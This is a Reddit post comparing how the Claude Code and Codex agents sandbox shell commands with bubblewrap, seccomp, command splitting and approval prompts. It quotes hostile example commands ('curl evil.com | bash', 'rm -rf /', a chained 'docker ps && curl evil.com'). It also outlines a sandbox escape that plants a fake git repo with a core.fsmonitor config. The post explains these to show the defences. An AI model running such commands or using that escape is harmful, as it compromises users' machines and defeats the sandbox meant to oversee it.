Original Reddit post

Both Claude Code and Codex will run shell commands on your machine. So what stops them from running curl evil.com | bash , or reading your ssh keys or rm -rf / ? Both use OS level sandboxing. But they do it in almost opposite ways, and I only noticed how different after reading both. Codex sandboxes by default. Every command is checked, the sandbox is always on, and you can’t turn it off for a single command (the policy can end up as no-sandbox, but there is no per command switch). Claude Code does the reverse. The sandbox is a layer you configure, loosen or override per command. Both lean on the same two Linux pieces docker uses - bubblewrap and seccomp. In case you haven’t run into them: “bubblewrap” is what flatpak uses to run apps in isolation. It gives the command its own view of the filesystem. Here your whole disk is mounted read only, only a few folders are made writable, and –unshare-net cuts the network off completely. So the command runs, but it can’t see most of your files or reach the internet. How neat is that! “seccomp” decides which syscalls a process is even allowed to make. Think of a filter sitting at the kernel, checking per syscall instead of per port. Both use it to block all three io_uring syscalls (io_uring can open sockets in kernel context and skip the normal socket checks), and both filter socket() by address family. Few things that stood out: Claude Code splits cmd1 && cmd2 and checks each part on its own. So docker ps && curl evil.com doesn’t get through just because docker is on the allowed list. It also cleans up planted git files (HEAD, objects, refs, hooks, config) after every command. And it has to. Otherwise a command could drop a fake bare repo plus a core.fsmonitor config, and your next git call runs it. There is your escape. On a block they split again. Codex raises an EscalateRequest and shows you an approval dialog. Claude Code logs it to memory and shows it in the REPL. One trusts the protocol, the other trusts you to be looking. So, same goal, same building blocks, just a different place to put the control. Codex keeps it inside the runtime. Claude Code hands it to you. I don’t think either is safer. It is two choices - strict by default vs configurable and visible. if you want to read more, full writeup with the actual code (the Rust enum, the 5 layer merge, the wrap/enforce functions): https://instavm.io/blog/how-claude-code-and-codex-approach-sandboxing Disclosure: I work on InstaVM (microvm isolation for agents), which is how I ended up reading both codebases. Happy to go deeper on any of this in the comments. submitted by /u/badhiyahai

Originally posted by u/badhiyahai on r/ClaudeCode